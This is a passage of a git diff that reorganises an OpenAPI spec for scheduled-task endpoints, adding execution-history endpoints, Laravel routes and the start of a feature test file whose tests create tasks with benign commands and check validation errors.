"#\/components\/schemas\/ScheduledTaskExecution" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/security\/keys": { "get": { "tags": [ @@ -10257,296 +10659,6 @@ ] } }, - "\/services\/{uuid}\/scheduled-tasks": { - "get": { - "tags": [ - "Scheduled Tasks" - ], - "summary": "List (Service)", - "description": "List all scheduled tasks for a service.", - "operationId": "list-scheduled-tasks-by-service-uuid", - "parameters": [ - { - "name": "uuid", - "in": "path", - "description": "UUID of the service.", - "required": true, - "schema": { - "type": "string" - } - } - ], - "responses": { - "200": { - "description": "Get all scheduled tasks for a service.", - "content": { - "application\/json": { - "schema": { - "type": "array", - "items": { - "$ref": "#\/components\/schemas\/ScheduledTask" - } - } - } - } - }, - "401": { - "$ref": "#\/components\/responses\/401" - }, - "404": { - "$ref": "#\/components\/responses\/404" - } - }, - "security": [ - { - "bearerAuth": [] - } - ] - }, - "post": { - "tags": [ - "Scheduled Tasks" - ], - "summary": "Create (Service)", - "description": "Create a new scheduled task for a service.", - "operationId": "create-scheduled-task-by-service-uuid", - "parameters": [ - { - "name": "uuid", - "in": "path", - "description": "UUID of the service.", - "required": true, - "schema": { - "type": "string" - } - } - ], - "requestBody": { - "description": "Scheduled task data", - "required": true, - "content": { - "application\/json": { - "schema": { - "required": [ - "name", - "command", - "frequency" - ], - "properties": { - "name": { - "type": "string", - "description": "The name of the scheduled task." - }, - "command": { - "type": "string", - "description": "The command to execute." - }, - "frequency": { - "type": "string", - "description": "The frequency of the scheduled task." - }, - "container": { - "type": "string", - "nullable": true, - "description": "The container where the command should be executed." - }, - "timeout": { - "type": "integer", - "description": "The timeout of the scheduled task in seconds.", - "default": 3600 - }, - "enabled": { - "type": "boolean", - "description": "The flag to indicate if the scheduled task is enabled.", - "default": true - } - }, - "type": "object" - } - } - } - }, - "responses": { - "201": { - "description": "Scheduled task created.", - "content": { - "application\/json": { - "schema": { - "$ref": "#\/components\/schemas\/ScheduledTask" - } - } - } - }, - "401": { - "$ref": "#\/components\/responses\/401" - }, - "404": { - "$ref": "#\/components\/responses\/404" - }, - "422": { - "$ref": "#\/components\/responses\/422" - } - }, - "security": [ - { - "bearerAuth": [] - } - ] - } - }, - "\/services\/{uuid}\/scheduled-tasks\/{task_uuid}": { - "patch": { - "tags": [ - "Scheduled Tasks" - ], - "summary": "Update Task", - "description": "Update a scheduled task for a service.", - "operationId": "update-scheduled-task-by-service-uuid", - "parameters": [ - { - "name": "uuid", - "in": "path", - "description": "UUID of the service.", - "required": true, - "schema": { - "type": "string" - } - }, - { - "name": "task_uuid", - "in": "path", - "description": "UUID of the scheduled task.", - "required": true, - "schema": { - "type": "string" - } - } - ], - "requestBody": { - "description": "Scheduled task data", - "required": true, - "content": { - "application\/json": { - "schema": { - "properties": { - "name": { - "type": "string", - "description": "The name of the scheduled task." - }, - "command": { - "type": "string", - "description": "The command to execute." - }, - "frequency": { - "type": "string", - "description": "The frequency of the scheduled task." - }, - "container": { - "type": "string", - "nullable": true, - "description": "The container where the command should be executed." - }, - "timeout": { - "type": "integer", - "description": "The timeout of the scheduled task in seconds.", - "default": 3600 - }, - "enabled": { - "type": "boolean", - "description": "The flag to indicate if the scheduled task is enabled.", - "default": true - } - }, - "type": "object" - } - } - } - }, - "responses": { - "200": { - "description": "Scheduled task updated.", - "content": { - "application\/json": { - "schema": { - "$ref": "#\/components\/schemas\/ScheduledTask" - } - } - } - }, - "401": { - "$ref": "#\/components\/responses\/401" - }, - "404": { - "$ref": "#\/components\/responses\/404" - }, - "422": { - "$ref": "#\/components\/responses\/422" - } - }, - "security": [ - { - "bearerAuth": [] - } - ] - }, - "delete": { - "tags": [ - "Scheduled Tasks" - ], - "summary": "Delete Task", - "description": "Delete a scheduled task for a service.", - "operationId": "delete-scheduled-task-by-service-uuid", - "parameters": [ - { - "name": "uuid", - "in": "path", - "description": "UUID of the service.", - "required": true, - "schema": { - "type": "string" - } - }, - { - "name": "task_uuid", - "in": "path", - "description": "UUID of the scheduled task.", - "required": true, - "schema": { - "type": "string" - } - } - ], - "responses": { - "200": { - "description": "Scheduled task deleted.", - "content": { - "application\/json": { - "schema": { - "properties": { - "message": { - "type": "string", - "example": "Scheduled task deleted." - } - }, - "type": "object" - } - } - } - }, - "401": { - "$ref": "#\/components\/responses\/401" - }, - "404": { - "$ref": "#\/components\/responses\/404" - } - }, - "security": [ - { - "bearerAuth": [] - } - ] - } - }, "\/teams": { "get": { "tags": [ @@ -11351,6 +11463,110 @@ }, "type": "object" }, + "ScheduledTask": { + "description": "Scheduled Task model", + "properties": { + "id": { + "type": "integer", + "description": "The unique identifier of the scheduled task in the database." + }, + "uuid": { + "type": "string", + "description": "The unique identifier of the scheduled task." + }, + "enabled": { + "type": "boolean", + "description": "The flag to indicate if the scheduled task is enabled." + }, + "name": { + "type": "string", + "description": "The name of the scheduled task." + }, + "command": { + "type": "string", + "description": "The command to execute." + }, + "frequency": { + "type": "string", + "description": "The frequency of the scheduled task." + }, + "container": { + "type": "string", + "nullable": true, + "description": "The container where the command should be executed." + }, + "timeout": { + "type": "integer", + "description": "The timeout of the scheduled task in seconds." + }, + "created_at": { + "type": "string", + "format": "date-time", + "description": "The date and time when the scheduled task was created." + }, + "updated_at": { + "type": "string", + "format": "date-time", + "description": "The date and time when the scheduled task was last updated." + } + }, + "type": "object" + }, + "ScheduledTaskExecution": { + "description": "Scheduled Task Execution model", + "properties": { + "uuid": { + "type": "string", + "description": "The unique identifier of the execution." + }, + "status": { + "type": "string", + "enum": [ + "success", + "failed", + "running" + ], + "description": "The status of the execution." + }, + "message": { + "type": "string", + "nullable": true, + "description": "The output message of the execution." + }, + "retry_count": { + "type": "integer", + "description": "The number of retries." + }, + "duration": { + "type": "number", + "nullable": true, + "description": "Duration in seconds." + }, + "started_at": { + "type": "string", + "format": "date-time", + "nullable": true, + "description": "When the execution started." + }, + "finished_at": { + "type": "string", + "format": "date-time", + "nullable": true, + "description": "When the execution finished." + }, + "created_at": { + "type": "string", + "format": "date-time", + "description": "When the record was created." + }, + "updated_at": { + "type": "string", + "format": "date-time", + "description": "When the record was last updated." + } + }, + "type": "object" + }, "Server": { "description": "Server model", "properties": { @@ -11547,55 +11763,6 @@ }, "type": "object" }, - "ScheduledTask": { - "description": "Scheduled Task model", - "properties": { - "id": { - "type": "integer", - "description": "The unique identifier of the scheduled task in the database." - }, - "uuid": { - "type": "string", - "description": "The unique identifier of the scheduled task." - }, - "enabled": { - "type": "boolean", - "description": "The flag to indicate if the scheduled task is enabled." - }, - "name": { - "type": "string", - "description": "The name of the scheduled task." - }, - "command": { - "type": "string", - "description": "The command to execute." - }, - "frequency": { - "type": "string", - "description": "The frequency of the scheduled task." - }, - "container": { - "type": "string", - "nullable": true, - "description": "The container where the command should be executed." - }, - "timeout": { - "type": "integer", - "description": "The timeout of the scheduled task in seconds." - }, - "created_at": { - "type": "string", - "format": "date-time", - "description": "The date and time when the scheduled task was created." - }, - "updated_at": { - "type": "string", - "format": "date-time", - "description": "The date and time when the scheduled task was last updated." - } - }, - "type": "object" - }, "Service": { "description": "Service model", "properties": { @@ -11912,6 +12079,10 @@ "name": "Resources", "description": "Resources" }, + { + "name": "Scheduled Tasks", + "description": "Scheduled Tasks" + }, { "name": "Private Keys", "description": "Private Keys" diff --git a/openapi.yaml b/openapi.yaml index 99cc84dcb..6fb548f9f 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2163,206 +2163,6 @@ paths: security: - bearerAuth: [] - '/applications/{uuid}/scheduled-tasks': - get: - tags: - - 'Scheduled Tasks' - summary: 'List Tasks' - description: 'List all scheduled tasks for an application.' - operationId: list-scheduled-tasks-by-application-uuid - parameters: - - - name: uuid - in: path - description: 'UUID of the application.' - required: true - schema: - type: string - responses: - '200': - description: 'Get all scheduled tasks for an application.' - content: - application/json: - schema: - type: array - items: - $ref: '#/components/schemas/ScheduledTask' - '401': - $ref: '#/components/responses/401' - '404': - $ref: '#/components/responses/404' - security: - - - bearerAuth: [] - post: - tags: - - 'Scheduled Tasks' - summary: 'Create Tasks' - description: 'Create a new scheduled task for an application.' - operationId: create-scheduled-task-by-application-uuid - parameters: - - - name: uuid - in: path - description: 'UUID of the application.' - required: true, - schema: - type: string - requestBody: - description: 'Scheduled task data' - required: true - content: - application/json: - schema: - required: - - name - - command - - frequency - properties: - name: - type: string - description: 'The name of the scheduled task.' - command: - type: string - description: 'The command to execute.' - frequency: - type: string - description: 'The frequency of the scheduled task.' - container: - type: string - nullable: true - description: 'The container where the command should be executed.' - timeout: - type: integer - description: 'The timeout of the scheduled task in seconds.' - default: 3600 - enabled: - type: boolean - description: 'The flag to indicate if the scheduled task is enabled.' - default: true - type: object - responses: - '201': - description: 'Scheduled task created.' - content: - application/json: - schema: - $ref: '#/components/schemas/ScheduledTask' - '401': - $ref: '#/components/responses/401' - '404': - $ref: '#/components/responses/404' - '422': - $ref: '#/components/responses/422' - security: - - - bearerAuth: [] - '/applications/{uuid}/scheduled-tasks/{task_uuid}': - patch: - tags: - - 'Scheduled Tasks' - summary: 'Update Task' - description: 'Update a scheduled task for an application.' - operationId: update-scheduled-task-by-application-uuid - parameters: - - - name: uuid - in: path - description: 'UUID of the application.' - required: true - schema: - type: string - - - name: task_uuid - in: path - description: 'UUID of the scheduled task.' - required: true - schema: - type: string - requestBody: - description: 'Scheduled task data' - required: true - content: - application/json: - schema: - properties: - name: - type: string - description: 'The name of the scheduled task.' - command: - type: string - description: 'The command to execute.' - frequency: - type: string - description: 'The frequency of the scheduled task.' - container: - type: string - nullable: true - description: 'The container where the command should be executed.' - timeout: - type: integer - description: 'The timeout of the scheduled task in seconds.' - default: 3600 - enabled: - type: boolean - description: 'The flag to indicate if the scheduled task is enabled.' - default: true - type: object - responses: - '200': - description: 'Scheduled task updated.' - content: - application/json: - schema: - $ref: '#/components/schemas/ScheduledTask' - '401': - $ref: '#/components/responses/401' - '404': - $ref: '#/components/responses/404' - '422': - $ref: '#/components/responses/422' - security: - - - bearerAuth: [] - delete: - tags: - - 'Scheduled Tasks' - summary: 'Delete Task' - description: 'Delete a scheduled task for an application.' - operationId: delete-scheduled-task-by-application-uuid - parameters: - - - name: uuid - in: path - description: 'UUID of the application.' - required: true - schema: - type: string - - - name: task_uuid - in: path - description: 'UUID of the scheduled task.' - required: true - schema: - type: string - responses: - '200': - description: 'Scheduled task deleted.' - content: - application/json: - schema: - properties: - message: - type: string - example: 'Scheduled task deleted.' - type: object - '401': - $ref: '#/components/responses/401' - '404': - $ref: '#/components/responses/404' - security: - - - bearerAuth: [] /cloud-tokens: get: tags: @@ -5285,6 +5085,478 @@ paths: security: - bearerAuth: [] + '/applications/{uuid}/scheduled-tasks': + get: + tags: + - 'Scheduled Tasks' + summary: 'List Tasks' + description: 'List all scheduled tasks for an application.' + operationId: list-scheduled-tasks-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + responses: + '200': + description: 'Get all scheduled tasks for an application.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - 'Scheduled Tasks' + summary: 'Create Task' + description: 'Create a new scheduled task for an application.' + operationId: create-scheduled-task-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + required: + - name + - command + - frequency + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 300 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '201': + description: 'Scheduled task created.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/applications/{uuid}/scheduled-tasks/{task_uuid}': + delete: + tags: + - 'Scheduled Tasks' + summary: 'Delete Task' + description: 'Delete a scheduled task for an application.' + operationId: delete-scheduled-task-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + responses: + '200': + description: 'Scheduled task deleted.' + content: + application/json: + schema: + properties: + message: { type: string, example: 'Scheduled task deleted.' } + type: object + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + patch: + tags: + - 'Scheduled Tasks' + summary: 'Update Task' + description: 'Update a scheduled task for an application.' + operationId: update-scheduled-task-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 300 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '200': + description: 'Scheduled task updated.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/applications/{uuid}/scheduled-tasks/{task_uuid}/executions': + get: + tags: + - 'Scheduled Tasks' + summary: 'List Executions' + description: 'List all executions for a scheduled task on an application.' + operationId: list-scheduled-task-executions-by-application-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the application.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + responses: + '200': + description: 'Get all executions for a scheduled task.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/ScheduledTaskExecution' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + '/services/{uuid}/scheduled-tasks': + get: + tags: + - 'Scheduled Tasks' + summary: 'List Tasks' + description: 'List all scheduled tasks for a service.' + operationId: list-scheduled-tasks-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + responses: + '200': + description: 'Get all scheduled tasks for a service.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - 'Scheduled Tasks' + summary: 'Create Task' + description: 'Create a new scheduled task for a service.' + operationId: create-scheduled-task-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + required: + - name + - command + - frequency + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 300 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '201': + description: 'Scheduled task created.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/services/{uuid}/scheduled-tasks/{task_uuid}': + delete: + tags: + - 'Scheduled Tasks' + summary: 'Delete Task' + description: 'Delete a scheduled task for a service.' + operationId: delete-scheduled-task-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + responses: + '200': + description: 'Scheduled task deleted.' + content: + application/json: + schema: + properties: + message: { type: string, example: 'Scheduled task deleted.' } + type: object + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + patch: + tags: + - 'Scheduled Tasks' + summary: 'Update Task' + description: 'Update a scheduled task for a service.' + operationId: update-scheduled-task-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + requestBody: + description: 'Scheduled task data' + required: true + content: + application/json: + schema: + properties: + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + default: 300 + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + default: true + type: object + responses: + '200': + description: 'Scheduled task updated.' + content: + application/json: + schema: + $ref: '#/components/schemas/ScheduledTask' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/services/{uuid}/scheduled-tasks/{task_uuid}/executions': + get: + tags: + - 'Scheduled Tasks' + summary: 'List Executions' + description: 'List all executions for a scheduled task on a service.' + operationId: list-scheduled-task-executions-by-service-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the service.' + required: true + schema: + type: string + - + name: task_uuid + in: path + description: 'UUID of the scheduled task.' + required: true + schema: + type: string + responses: + '200': + description: 'Get all executions for a scheduled task.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/ScheduledTaskExecution' + '401': + $ref: '#/components/responses/401' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] /security/keys: get: tags: @@ -6431,206 +6703,6 @@ paths: security: - bearerAuth: [] - '/services/{uuid}/scheduled-tasks': - get: - tags: - - 'Scheduled Tasks' - summary: 'List (Service)' - description: 'List all scheduled tasks for a service.' - operationId: list-scheduled-tasks-by-service-uuid - parameters: - - - name: uuid - in: path - description: 'UUID of the service.' - required: true - schema: - type: string - responses: - '200': - description: 'Get all scheduled tasks for a service.' - content: - application/json: - schema: - type: array - items: - $ref: '#/components/schemas/ScheduledTask' - '401': - $ref: '#/components/responses/401' - '404': - $ref: '#/components/responses/404' - security: - - - bearerAuth: [] - post: - tags: - - 'Scheduled Tasks' - summary: 'Create (Service)' - description: 'Create a new scheduled task for a service.' - operationId: create-scheduled-task-by-service-uuid - parameters: - - - name: uuid - in: path - description: 'UUID of the service.' - required: true - schema: - type: string - requestBody: - description: 'Scheduled task data' - required: true - content: - application/json: - schema: - required: - - name - - command - - frequency - properties: - name: - type: string - description: 'The name of the scheduled task.' - command: - type: string - description: 'The command to execute.' - frequency: - type: string - description: 'The frequency of the scheduled task.' - container: - type: string - nullable: true - description: 'The container where the command should be executed.' - timeout: - type: integer - description: 'The timeout of the scheduled task in seconds.' - default: 3600 - enabled: - type: boolean - description: 'The flag to indicate if the scheduled task is enabled.' - default: true - type: object - responses: - '201': - description: 'Scheduled task created.' - content: - application/json: - schema: - $ref: '#/components/schemas/ScheduledTask' - '401': - $ref: '#/components/responses/401' - '404': - $ref: '#/components/responses/404' - '422': - $ref: '#/components/responses/422' - security: - - - bearerAuth: [] - '/services/{uuid}/scheduled-tasks/{task_uuid}': - patch: - tags: - - 'Scheduled Tasks' - summary: 'Update Task' - description: 'Update a scheduled task for a service.' - operationId: update-scheduled-task-by-service-uuid - parameters: - - - name: uuid - in: path - description: 'UUID of the service.' - required: true - schema: - type: string - - - name: task_uuid - in: path - description: 'UUID of the scheduled task.' - required: true - schema: - type: string - requestBody: - description: 'Scheduled task data' - required: true - content: - application/json: - schema: - properties: - name: - type: string - description: 'The name of the scheduled task.' - command: - type: string - description: 'The command to execute.' - frequency: - type: string - description: 'The frequency of the scheduled task.' - container: - type: string - nullable: true - description: 'The container where the command should be executed.' - timeout: - type: integer - description: 'The timeout of the scheduled task in seconds.' - default: 3600 - enabled: - type: boolean - description: 'The flag to indicate if the scheduled task is enabled.' - default: true - type: object - responses: - '200': - description: 'Scheduled task updated.' - content: - application/json: - schema: - $ref: '#/components/schemas/ScheduledTask' - '401': - $ref: '#/components/responses/401' - '404': - $ref: '#/components/responses/404' - '422': - $ref: '#/components/responses/422' - security: - - - bearerAuth: [] - delete: - tags: - - 'Scheduled Tasks' - summary: 'Delete Task' - description: 'Delete a scheduled task for a service.' - operationId: delete-scheduled-task-by-service-uuid - parameters: - - - name: uuid - in: path - description: 'UUID of the service.' - required: true - schema: - type: string - - - name: task_uuid - in: path - description: 'UUID of the scheduled task.' - required: true - schema: - type: string - responses: - '200': - description: 'Scheduled task deleted.' - content: - application/json: - schema: - properties: - message: - type: string - example: 'Scheduled task deleted.' - type: object - '401': - $ref: '#/components/responses/401' - '404': - $ref: '#/components/responses/404' - security: - - - bearerAuth: [] /teams: get: tags: @@ -7207,6 +7279,86 @@ components: description: type: string type: object + ScheduledTask: + description: 'Scheduled Task model' + properties: + id: + type: integer + description: 'The unique identifier of the scheduled task in the database.' + uuid: + type: string + description: 'The unique identifier of the scheduled task.' + enabled: + type: boolean + description: 'The flag to indicate if the scheduled task is enabled.' + name: + type: string + description: 'The name of the scheduled task.' + command: + type: string + description: 'The command to execute.' + frequency: + type: string + description: 'The frequency of the scheduled task.' + container: + type: string + nullable: true + description: 'The container where the command should be executed.' + timeout: + type: integer + description: 'The timeout of the scheduled task in seconds.' + created_at: + type: string + format: date-time + description: 'The date and time when the scheduled task was created.' + updated_at: + type: string + format: date-time + description: 'The date and time when the scheduled task was last updated.' + type: object + ScheduledTaskExecution: + description: 'Scheduled Task Execution model' + properties: + uuid: + type: string + description: 'The unique identifier of the execution.' + status: + type: string + enum: + - success + - failed + - running + description: 'The status of the execution.' + message: + type: string + nullable: true + description: 'The output message of the execution.' + retry_count: + type: integer + description: 'The number of retries.' + duration: + type: number + nullable: true + description: 'Duration in seconds.' + started_at: + type: string + format: date-time + nullable: true + description: 'When the execution started.' + finished_at: + type: string + format: date-time + nullable: true + description: 'When the execution finished.' + created_at: + type: string + format: date-time + description: 'When the record was created.' + updated_at: + type: string + format: date-time + description: 'When the record was last updated.' + type: object Server: description: 'Server model' properties: @@ -7344,43 +7496,6 @@ components: type: boolean description: 'The flag to indicate if the unused networks should be deleted.' type: object - ScheduledTask: - description: 'Scheduled Task model' - properties: - id: - type: integer - description: 'The unique identifier of the scheduled task in the database.' - uuid: - type: string - description: 'The unique identifier of the scheduled task.' - enabled: - type: boolean - description: 'The flag to indicate if the scheduled task is enabled.' - name: - type: string - description: 'The name of the scheduled task.' - command: - type: string - description: 'The command to execute.' - frequency: - type: string - description: 'The frequency of the scheduled task.' - container: - type: string - nullable: true - description: 'The container where the command should be executed.' - timeout: - type: integer - description: 'The timeout of the scheduled task in seconds.' - created_at: - type: string - format: date-time - description: 'The date and time when the scheduled task was created.' - updated_at: - type: string - format: date-time - description: 'The date and time when the scheduled task was last updated.' - type: object Service: description: 'Service model' properties: @@ -7598,6 +7713,9 @@ tags: - name: Resources description: Resources + - + name: 'Scheduled Tasks' + description: 'Scheduled Tasks' - name: 'Private Keys' description: 'Private Keys' diff --git a/routes/api.php b/routes/api.php index 9c4d703a9..c39f22c02 100644 --- a/routes/api.php +++ b/routes/api.php @@ -107,7 +107,7 @@ /** * @deprecated Use POST /api/v1/services instead. This endpoint creates a Service, not an Application and is a unstable duplicate of POST /api/v1/services. - */ + */ Route::post('/applications/dockercompose', [ApplicationsController::class, 'create_dockercompose_application'])->middleware(['api.ability:write']); Route::get('/applications/{uuid}', [ApplicationsController::class, 'application_by_uuid'])->middleware(['api.ability:read']); @@ -177,11 +177,13 @@ Route::post('/applications/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); Route::patch('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); Route::delete('/applications/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_application_uuid'])->middleware(['api.ability:write']); + Route::get('/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', [ScheduledTasksController::class, 'executions_by_application_uuid'])->middleware(['api.ability:read']); Route::get('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'scheduled_tasks_by_service_uuid'])->middleware(['api.ability:read']); Route::post('/services/{uuid}/scheduled-tasks', [ScheduledTasksController::class, 'create_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); Route::patch('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'update_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); Route::delete('/services/{uuid}/scheduled-tasks/{task_uuid}', [ScheduledTasksController::class, 'delete_scheduled_task_by_service_uuid'])->middleware(['api.ability:write']); + Route::get('/services/{uuid}/scheduled-tasks/{task_uuid}/executions', [ScheduledTasksController::class, 'executions_by_service_uuid'])->middleware(['api.ability:read']); }); Route::group([ diff --git a/tests/Feature/ScheduledTaskApiTest.php b/tests/Feature/ScheduledTaskApiTest.php new file mode 100644 index 000000000..fbd6e383e --- /dev/null +++ b/tests/Feature/ScheduledTaskApiTest.php @@ -0,0 +1,365 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +function authHeaders($bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +describe('GET /api/v1/applications/{uuid}/scheduled-tasks', function () { + test('returns empty array when no tasks exist', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks"); + + $response->assertStatus(200); + $response->assertJson([]); + }); + + test('returns tasks when they exist', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + ScheduledTask::factory()->create([ + 'application_id' => $application->id, + 'team_id' => $this->team->id, + 'name' => 'Test Task', + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks"); + + $response->assertStatus(200); + $response->assertJsonCount(1); + $response->assertJsonFragment(['name' => 'Test Task']); + }); + + test('returns 404 for unknown application uuid', function () { + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->getJson('/api/v1/applications/nonexistent-uuid/scheduled-tasks'); + + $response->assertStatus(404); + }); +}); + +describe('POST /api/v1/applications/{uuid}/scheduled-tasks', function () { + test('creates a task with valid data', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'name' => 'Backup', + 'command' => 'php artisan backup', + 'frequency' => '0 0 * * *', + ]); + + $response->assertStatus(201); + $response->assertJsonFragment(['name' => 'Backup']); + + $this->assertDatabaseHas('scheduled_tasks', [ + 'name' => 'Backup', + 'command' => 'php artisan backup', + 'frequency' => '0 0 * * *', + 'application_id' => $application->id, + 'team_id' => $this->team->id, + ]); + }); + + test('returns 422 when name is missing', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'command' => 'echo test', + 'frequency' => '* * * * *', + ]); + + $response->assertStatus(422); + }); + + test('returns 422 for invalid cron expression', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'name' => 'Test', + 'command' => 'echo test', + 'frequency' => 'not-a-cron', + ]); + + $response->assertStatus(422); + $response->assertJsonPath('errors.frequency.0', 'Invalid cron expression or frequency format.'); + }); + + test('returns 422 when extra fields are present', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'name' => 'Test', + 'command' => 'echo test', + 'frequency' => '* * * * *', + 'unknown_field' => 'value', + ]); + + $response->assertStatus(422); + }); 